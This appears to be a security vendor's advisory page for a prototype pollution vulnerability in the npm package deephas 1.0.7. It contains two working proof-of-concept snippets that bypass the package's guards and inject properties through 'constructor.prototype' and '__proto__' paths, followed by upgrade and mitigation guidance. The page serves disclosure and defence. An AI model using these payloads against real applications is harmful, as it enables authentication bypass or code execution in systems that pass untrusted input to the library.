GHSA-2733-6c58-pf27 — deephas
Fix: sharpred/deepHas@8097fafGHSA-2733-6c58-pf27 is a CWE-1321 vulnerability in deephas. 1 public exploit reference exists, so weaponization risk is real. A fix is available for deephas — see the affected versions and patch details below.
deepHas vulnerable to Prototype Pollution via constructor.prototype
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2733-6c58-pf27.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
deephasnpmDescription
Summary
A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.
Details
The vulnerability resides in the add() function and indexer() function implemented within deepHas.js. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC
By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or proto.polluted resulting in prototype pollution.
This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.
PoC
Steps to reproduce
- Install version 1.0.7 of
deephasusing npm install - Run one of the following code snippets:
//PoC 1
Object.prototype.hasOwnProperty = () => true;
console.log({}.polluted);
const dh = require('deephas');
let obj = {};
dh.set(obj, 'constructor.prototype.polluted', 'yes');
console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred
OR
//PoC 2
String.prototype.indexOf = () => -1;
console.log({}.polluted);
const dh = require('deephas');
let obj = {};
dh.set(obj, '__proto__.polluted', 'yes');
console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred
Expected behavior
Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:
undefined
undefined OR throw an Error
Actual behavior
Object.prototype is polluted and the property polluted becomes globally accessible. This is printed on the console:
undefined
yes
Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using deephas.set may be affected.
It could potentially lead to the following problems:
- Authentication bypass
- Denial of service
- Remote code execution (if polluted property is passed to sinks like eval or child_process)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | deephas | all versions | 1.0.8npm install deephas@1.0.8 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
deephas 1.0.7 - Prototype Pollution
by banyamer · Apr 30, 2026
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deephas, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deephas to 1.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2733-6c58-pf27 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2733-6c58-pf27 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2733-6c58-pf27. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2733-6c58-pf27 in your dependencies?
O3 Security finds GHSA-2733-6c58-pf27 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.